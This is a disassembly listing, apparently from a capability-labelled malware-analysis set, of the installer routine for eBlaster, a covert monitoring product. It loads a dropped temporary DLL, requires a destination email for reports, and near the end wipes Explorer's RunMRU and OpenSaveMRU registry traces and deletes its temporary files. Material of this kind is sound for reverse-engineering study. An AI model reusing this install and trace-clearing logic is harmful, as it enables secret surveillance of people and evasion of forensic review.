Function at 0x1400899c0
Capabilities:
Check os version
Delete directory
Delete file
Get common file path

Disassembly:
mov rax, rsp
push r13
push r14
push r15
sub rsp, 0x900
mov qword [rsp + 0xc0], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x1402ba4e0]
xor rax, rsp
mov qword [rsp + 0x8f0], rax
xor r14d, r14d
mov dword [rsp + 0x50], r14d
call fcn.1400d1ea0
test eax, eax
je 0x140089a29
lea edx, [r14 + 0x14]
lea r8d, [r14 + 1]
lea rcx, str.eBlaster_can_not_be_installed_on_64_bit_operating_systems
call fcn.14000a910
nop
jmp 0x14008a813
lea rbx, [0x1402bfb30]
mov rdx, rbx
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140089a5d
movzx eax, word [0x1402202c8]
mov word [0x1402bfb30], ax
movzx eax, byte [0x1402202ca]
mov byte [0x1402bfb32], al
mov rcx, rbx
call fcn.1400c9bc0
mov r9, rbx
xor r8d, r8d
lea rdx, [0x14022052c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
mov dword [rcx + rbx - 4], 0x6c6c64
xor r8d, r8d
mov rdx, rbx
mov ecx, 0x1392
call fcn.140087140
xor edx, edx
mov rcx, rbx
call fcn.1400d67e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1402bfb28], rax
test rax, rax
jne 0x140089b29
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [0x1402b9cc8]
mov qword [rsp + 0xa0], rdx
lea rdx, [0x14024d112]
lea rcx, [rsp + 0xa0]
call fcn.1400ca6a0
xor r8d, r8d
mov edx, 0xe008
lea rcx, [rsp + 0xa0]
call fcn.1400cc060
nop
mov edx, 8
lea r8d, [rdx - 7]
mov rcx, qword [rsp + 0xa0]
call fcn.14000a910
nop
lea rcx, [rsp + 0xa0]
call fcn.1400ca400
nop
jmp 0x14008a813
lea rcx, str.checksums
call fcn.140072c90
mov rbx, rax
test rax, rax
je 0x14008a7a0
mov rcx, rax
call fcn.1400862e0
mov rcx, rbx
test eax, eax
jne 0x140089b60
mov rax, qword [rbx]
mov edx, 1
call qword [rax]
nop
jmp 0x14008a813
mov rdx, qword [0x1402bfb28]
call fcn.140086340
test eax, eax
jne 0x140089b83
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
nop
jmp 0x14008a813
cmp dword [0x1402c0964], 0
jne 0x140089b95
cmp dword [0x1402b9110], 0
je 0x140089bbb
call fcn.14000d840
cmp eax, 2
jne 0x140089bb2
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
nop
jmp 0x14008a813
cmp dword [0x1402c0964], 0
jne 0x140089bc4
cmp dword [0x1402b9114], 0
je 0x140089be1
call fcn.14000d8d0
cmp eax, 2
jne 0x140089be1
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
nop
jmp 0x14008a813
mov qword [rsp + 0xb0], 0
xor r13d, r13d
mov qword [rsp + 0xb8], r13
mov byte [rsp + 0x5c0], r13b
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x5c1]
call fcn.14010da60
mov byte [rsp + 0x7e0], r13b
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x7e1]
call fcn.14010da60
xor r15d, r15d
mov dword [rsp + 0x64], r15d
mov rax, qword [rbx]
mov edx, 0xc0
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov byte [rsp + 0x5a0], r13b
xor eax, eax
mov qword [rsp + 0x5a1], rax
mov qword [rsp + 0x5a9], rax
mov byte [rsp + 0x5b1], al
mov rdx, qword [rbx + 0xb0]
add rdx, 0x6738
cmp byte [rdx], al
je 0x140089c8c
lea r8d, [r13 + 0x11]
lea rcx, [rsp + 0x5a0]
call fcn.14010d5f0
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x140089cd5
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x140089cd5
mov rcx, qword [rbx + 0xb0]
add rcx, 0x65c
cmp byte [rcx], r13b
je 0x140089cd5
call fcn.1400d0090
mov ecx, dword [0x1402c085c]
mov r12d, 1
test eax, eax
cmove ecx, r12d
mov dword [0x1402c085c], ecx
jmp 0x140089cdb
mov r12d, 1
mov rdx, qword [0x1402c0178]
mov rcx, rbx
call fcn.140086570
mov dword [rsp + 0x40], eax
cmp eax, 1
jne 0x14008a754
lea rdx, [rsp + 0x5a0]
mov rcx, rbx
call fcn.140081ca0
mov rcx, rbx
call fcn.140087b60
mov edi, eax
mov dword [rsp + 0x40], eax
cmp dword [0x1402b9108], r13d
je 0x140089d4c
cmp eax, 1
jne 0x14008a754
lea r8, [rsp + 0x64]
lea rdx, [rsp + 0x7e0]
lea rcx, [rsp + 0x5c0]
call fcn.140086700
mov edi, eax
mov dword [rsp + 0x40], eax
mov r15d, dword [rsp + 0x64]
cmp edi, 1
jne 0x14008a754
cmp dword [0x1402c0964], r13d
jne 0x140089d89
cmp r15d, edi
je 0x140089d89
mov rax, qword [rbx]
mov edx, 0xffffffbf
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rsi, rbx
mov qword [rsp + 0xb0], rbx
mov rcx, rbx
call fcn.1400819b0
jmp 0x140089f08
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jb 0x140089e04
mov rax, qword [0x1402b9cc8]
mov qword [rsp + 0x98], rax
lea rdx, [0x14024d112]
lea rcx, [rsp + 0x98]
call fcn.1400ca6a0
xor r8d, r8d
mov edx, 0xc0
lea rcx, [rsp + 0x98]
call fcn.1400cc060
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
mov r8, qword [rsp + 0x98]
mov edx, 0x30
call fcn.1400d1c10
mov dword [rsp + 0x40], 2
lea rcx, [rsp + 0x98]
call fcn.1400ca400
jmp 0x14008a754
lea r8, [rsp + 0x5c0]
lea rdx, str.checksums
mov ecx, 4
call fcn.1400729c0
mov r13, rax
mov qword [rsp + 0xb8], rax
test rax, rax
je 0x14008a74c
mov rax, qword [rax]
or edx, 0xffffffff
mov rcx, r13
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rsi, r13
mov qword [rsp + 0xb0], r13
cmp dword [0x1402c0964], 0
jne 0x140089e5b
cmp r15d, 1
jne 0x140089f08
mov rcx, qword [rbx + 0xb0]
add rcx, 0x684d
mov rdx, qword [r13 + 0xb0]
add rdx, 0x684d
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx], al
inc rcx
inc rdx
test al, al
jne 0x140089e80
mov rcx, qword [rbx + 0xb0]
add rcx, 0x6749
mov rdx, qword [r13 + 0xb0]
add rdx, 0x6749
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx], al
inc rcx
inc rdx
test al, al
jne 0x140089eb0
mov rdx, qword [rbx + 0xb0]
add rdx, 0x6738
mov rcx, qword [r13 + 0xb0]
add rcx, 0x6738
mov r8d, 0x10
call fcn.14010d5f0
mov rdx, qword [r13 + 0xb0]
mov byte [rdx + 0x6748], 0
mov rax, qword [r13]
mov edx, 0x40
mov rcx, r13
call qword [rax + 0x30]
cmp edi, 1
jne 0x140089f34
lea r8, [rsp + 0x5a0]
mov edx, r15d
mov rcx, rsi
call fcn.140088980
mov edi, eax
mov dword [rsp + 0x40], eax
cmp eax, 1
jne 0x140089f34
mov rcx, rsi
call fcn.140081a00
mov edi, eax
mov dword [rsp + 0x40], eax
test rsi, rsi
je 0x140089f4a
mov rax, qword [rsi + 0xb0]
mov dword [rax + 0x1710], 0x2fbc
test r13, r13
je 0x140089f99
cmp edi, 1
jne 0x14008a754
cmp dword [0x1402c0964], 0
jne 0x140089f66
cmp r15d, edi
jne 0x140089fb9
mov rax, qword [r13]
or edx, 0xffffffff
mov rcx, r13
call qword [rax + 0x30]
xor ecx, ecx
call fcn.14010d57c
mov rdi, qword [r13]
mov rdx, rax
mov rcx, r13
call qword [rdi + 0xd0]
lea rcx, [rsp + 0x5c0]
call fcn.140009ac0
jmp 0x140089fa2
cmp edi, 1
jne 0x14008a754
cmp dword [0x1402c0964], 0
jne 0x14008a707
cmp r15d, 1
je 0x14008a707
mov dword [rsp + 0x6c], r12d
mov edi, r12d
mov dword [rsp + 0x68], r12d
mov rax, qword [rsi + 0xb0]
cmp qword [rax + 0x6990], 0
jle 0x14008a036
call fcn.140040aa0
test eax, eax
je 0x14008a031
xor edi, edi
mov dword [rsp + 0x68], edi
cmp dword [0x1402c0968], edi
jne 0x14008a036
mov rax, qword [0x1402b9cc8]
mov qword [rsp + 0x58], rax
mov r8, qword [0x1402bfb28]
mov edx, 0x47d
lea rcx, [rsp + 0x58]
call fcn.1400cc060
mov r8, qword [rsp + 0x58]
lea edx, [rdi + 0x30]
mov rcx, qword [0x1402c0418]
call fcn.1400d1c10
nop
lea rcx, [rsp + 0x58]
call fcn.1400ca400
jmp 0x14008a036
call fcn.140040bb0
mov rcx, rsi
call fcn.140081c20
mov rdx, qword [rsi + 0xb0]
cmp byte [rdx + 0x6b0c], 0
jne 0x14008a068
mov r8d, r12d
mov edx, SafeArrayUnaccessData
lea rcx, str.Setup_Error:_No_destination_email_address.
call fcn.14000a910
nop
jmp 0x14008a813
cmp dword [0x1402c096c], 0
jne 0x14008a639
test edi, edi
je 0x14008a754
mov edx, 0x7f02
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov qword [rsp + 0x58], rax
mov r8, qword [0x1402c0178]
mov rdx, qword [0x1402c0418]
lea rcx, [rsp + 0xd0]
call fcn.1400cd840
nop
mov rcx, qword [0x1402b9cc8]
mov qword [rsp + 0x90], rcx
lea rdx, [0x14024d112]
lea rcx, [rsp + 0x90]
call fcn.1400ca6a0
xor r8d, r8d
mov edx, 0x2ca
lea rcx, [rsp + 0x90]
call fcn.1400cc060
nop
mov rax, qword [0x1402b9cc8]
mov qword [rsp + 0x70], rax
lea rdx, [0x14024d112]
lea rcx, [rsp + 0x70]
call fcn.1400ca6a0
xor r8d, r8d
mov edx, 0x2c9
lea rcx, [rsp + 0x70]
call fcn.1400cc060
nop
mov rax, qword [0x1402b9cc8]
mov qword [rsp + 0x78], rax
lea rdx, [0x14024d112]
lea rcx, [rsp + 0x78]
call fcn.1400ca6a0
xor r8d, r8d
mov edx, 0x2cb
lea rcx, [rsp + 0x78]
call fcn.1400cc060
nop
mov edx, 0xe0e0e0
lea rcx, [rsp + 0xd0]
call fcn.1400cd990
mov dword [rsp + 0x580], 0xa7
mov dword [rsp + 0x584], 0x406
mov dword [rsp + 0x588], 0x405
mov dword [rsp + 0x58c], 0x476
xor eax, eax
mov qword [rsp + 0x590], rax
mov dword [rsp + 0x598], eax
lea r8d, [rax + 7]
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0xd0]
call fcn.1400cd910
mov edx, 0x64
lea rcx, [rsp + 0xd0]
call fcn.1400cdde0
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0xd0]
call fcn.1400cda80
mov r8, qword [rsp + 0x70]
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xd0]
call fcn.1400cde60
cmp dword [0x1402c0968], 0
jne 0x14008a20f
mov edx, r12d
lea rcx, [rsp + 0xd0]
call fcn.1400ce360
mov r9d, r12d
mov r8d, 0xa
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xd0]
call fcn.1400ce340
mov r8, qword [rsp + 0x78]
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xd0]
call fcn.1400cde60
mov rdi, qword [rsp + 0x558]
mov dword [rsp + 0x30], 3
xor eax, eax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rax - 2]
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
mov byte [rsp + 0x6d0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x6d1]
call fcn.14010da60
mov rdx, qword [rsi + 0xb0]
add rdx, 0x1c2c
mov r8d, 0x104
lea rcx, [rsp + 0x6d0]
call fcn.1400c9950
mov dword [rsp + 0x60], 0
mov r8, rdi
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.140088ec0
test eax, eax
jne 0x14008a5ee
mov r9d, r12d
lea r8d, [rax + 0x14]
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xd0]
call fcn.1400ce340
mov rcx, rsi
call fcn.140082fc0
mov rcx, rsi
call fcn.140084490
mov rdx, qword [rsi + 0xb0]
mov dword [rdx + 0x6998], 0xb1
mov rcx, qword [rsi + 0xb0]
add rcx, 0x760
call fcn.1400e7240
mov rcx, qword [rsi + 0xb0]
mov dword [rcx + 0x699c], eax
mov rax, qword [rsi + 0xb0]
xor edi, edi
mov dword [rax + 0x9668], edi
mov rax, qword [0x1402b9cc8]
mov qword [rsp + 0x88], rax
lea rdx, [0x14024d112]
lea rcx, [rsp + 0x88]
call fcn.1400ca6a0
xor r8d, r8d
mov edx, 0x2cc
lea rcx, [rsp + 0x88]
call fcn.1400cc060
nop
mov r8, qword [rsp + 0x88]
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xd0]
call fcn.1400cde60
mov rdx, qword [rsi + 0xb0]
cmp qword [rdx + 0x14f0], rdi
jne 0x14008a42c
mov rax, qword [0x1402b9cc8]
mov qword [rsp + 0x80], rax
mov r8, qword [0x1402bfb28]
mov edx, 0x45b
lea rcx, [rsp + 0x80]
call fcn.1400cc060
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rdx - 0x10]
inc rcx
call fcn.14010a204
mov rcx, qword [rsi + 0xb0]
mov qword [rcx + 0x14f0], rax
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsi + 0xb0]
mov rdx, qword [rax + 0x14f0]
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx], al
inc rcx
inc rdx
test al, al
jne 0x14008a410
lea rcx, [rsp + 0x80]
call fcn.1400ca400
mov dword [rsp + 0xa8], edi
cmp byte [rsp + 0x6d0], 0
je 0x14008a469
mov rcx, qword [rsi + 0xb0]
add rcx, 0x1c2c
lea rdx, [rsp + 0x6d0]
call fcn.14010d534
test eax, eax
je 0x14008a469
lea rcx, [rsp + 0x6d0]
call fcn.140083680
cmp dword [0x1402c0858], 0
je 0x14008a4a3
cmp dword [0x1402c085c], 0
jne 0x14008a4a3
mov rcx, qword [rsi + 0xb0]
lea rdx, [rcx + 0x1c2c]
add rcx, 0x65c
mov r8, rsi
call fcn.1400830c0
mov dword [rsp + 0xa8], eax
test eax, eax
jne 0x14008a510
mov r8, rsi
lea rdx, [0x1402c0a80]
lea rcx, [0x1402c0200]
call fcn.140087730
mov rcx, qword [rsi + 0xb0]
add rcx, 0x1c2c
call fcn.140083680
mov rcx, qword [rsi + 0xb0]
add rcx, 0x65c
call fcn.1400d0090
test eax, eax
je 0x14008a510
mov rcx, qword [rsi + 0xb0]
add rcx, 0x65c
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14008a510
mov rcx, qword [rsi + 0xb0]
add rcx, 0x65c
xor edx, edx
call fcn.1400d67e0
mov r9d, r12d
mov r8d, 0xa
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xd0]
call fcn.1400ce340
mov rax, qword [rsi]
or edx, 0xffffffff
mov rcx, rsi
call qword [rax + 0x30]
xor ecx, ecx
call fcn.14010d57c
mov rdi, qword [rsi]
mov rdx, rax
mov rcx, rsi
call qword [rdi + 0xd0]
lea rcx, [rsp + 0xd0]
call fcn.140088830
mov r9d, r12d
mov r8d, SafeArrayGetElement
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xd0]
call fcn.1400ce340
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1402bff60], 0
je 0x14008a5d7
lea rdx, [0x1402bfd40]
lea rcx, [0x1402bff60]
call fcn.1400d67e0
mov byte [0x1402bff60], 0
cmp byte [0x1402bfe50], 0
je 0x14008a5d7
lea rdx, [0x1402bfd40]
lea rcx, [0x1402bfe50]
call fcn.14010d534
test eax, eax
je 0x14008a5d7
xor edx, edx
lea rcx, [0x1402bfe50]
call fcn.1400d67e0
mov edi, dword [rsp + 0x60]
mov dword [rsp + 0x6c], edi
lea rcx, [rsp + 0x88]
call fcn.1400ca400
jmp 0x14008a5f4
xor edi, edi
mov dword [rsp + 0x6c], edi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.USER32.dll_SetCursor]
nop
lea rcx, [rsp + 0x78]
call fcn.1400ca400
nop
lea rcx, [rsp + 0x70]
call fcn.1400ca400
nop
lea rcx, [rsp + 0x90]
call fcn.1400ca400
nop
lea rcx, [rsp + 0xd0]
call fcn.1400ce180
test edi, edi
je 0x14008a754
cmp dword [rsp + 0x68], 0
je 0x14008a754
mov edx, r15d
mov rcx, rsi
call fcn.140086ee0
mov rdx, qword [rsi + 0xb0]
add rdx, 0x6738
xor ecx, ecx
call fcn.14000adf0
lea rdx, [rsp + 0x48]
mov rcx, rsi
call fcn.140042130
nop
or r14d, 1
mov dword [rsp + 0x50], r14d
cmp qword [rax], 0
je 0x14008a6a9
lea rdx, [rsp + 0x58]
mov rcx, rsi
call fcn.140042130
nop
or r14d, 2
mov dword [rsp + 0x50], r14d
mov rcx, qword [rax]
call fcn.1400d0090
test eax, eax
je 0x14008a6a9
mov dil, 1
jmp 0x14008a6ac
xor dil, dil
test r14b, 2
je 0x14008a6c6
and r14d, 0xfffffffd
mov dword [rsp + 0x50], r14d
lea rcx, [rsp + 0x58]
call fcn.1400ca400
nop
test r14b, 1
je 0x14008a6df
and r14d, 0xfffffffe
mov dword [rsp + 0x50], r14d
lea rcx, [rsp + 0x48]
call fcn.1400ca400
test dil, dil
je 0x14008a754
lea rdx, [rsp + 0x58]
mov rcx, rsi
call fcn.140042130
nop
mov rcx, qword [rax]
call fcn.1400d4680
nop
lea rcx, [rsp + 0x58]
call fcn.1400ca400
jmp 0x14008a754
cmp dword [0x1402b910c], 0
je 0x14008a754
mov r8, qword [0x1402bfb28]
mov edx, r15d
mov rcx, rsi
call fcn.140081ac0
mov dword [rsp + 0x40], eax
cmp eax, 1
jne 0x14008a754
mov r9d, r15d
lea r8, [rsp + 0x7e0]
lea rdx, [rsp + 0x5c0]
mov rcx, rsi
call fcn.140087d80
mov dword [rsp + 0x40], eax
jmp 0x14008a754
mov dword [rsp + 0x40], 2
cmp dword [0x1402c0964], 0
jne 0x14008a771
cmp r15d, 1
jne 0x14008a771
lea rcx, [rsp + 0x5c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test r13, r13
je 0x14008a782
mov rax, qword [r13]
mov edx, r12d
mov rcx, r13
call qword [rax]
mov qword [rsp + 0xb8], 0
test rbx, rbx
je 0x14008a7ef
mov rax, qword [rbx]
mov edx, r12d
mov rcx, rbx
call qword [rax]
jmp 0x14008a7ef
mov rax, qword [0x1402b9cc8]
mov qword [rsp + 0x48], rax
lea rdx, [0x14024d112]
lea rcx, [rsp + 0x48]
call fcn.1400ca6a0
xor r8d, r8d
mov edx, 0xe009
lea rcx, [rsp + 0x48]
call fcn.1400cc060
nop
mov edx, 4
lea r8d, [rdx - 3]
mov rcx, qword [rsp + 0x48]
call fcn.14000a910
nop
lea rcx, [rsp + 0x48]
call fcn.1400ca400
nop
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU
call fcn.14000d660
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSaveMRUexe
call fcn.14000d660
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSaveMRU
call fcn.14000d660
cmp byte [0x1402bff60], 0
je 0x14008a85b
xor edx, edx
lea rcx, [0x1402bff60]
call fcn.1400d67e0
lea rcx, [0x1402bff60]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [0x1402bfc38], 0
je 0x14008a85b
xor edx, edx
lea rcx, [0x1402c0070]
call fcn.1400d67e0
lea rcx, [0x1402c0070]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, qword [0x1402c0418]
call qword [sym.imp.USER32.dll_PostMessageA]
mov rcx, qword [rsp + 0x8f0]
xor rcx, rsp
call fcn.14010d170
lea r11, [rsp + 0x900]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret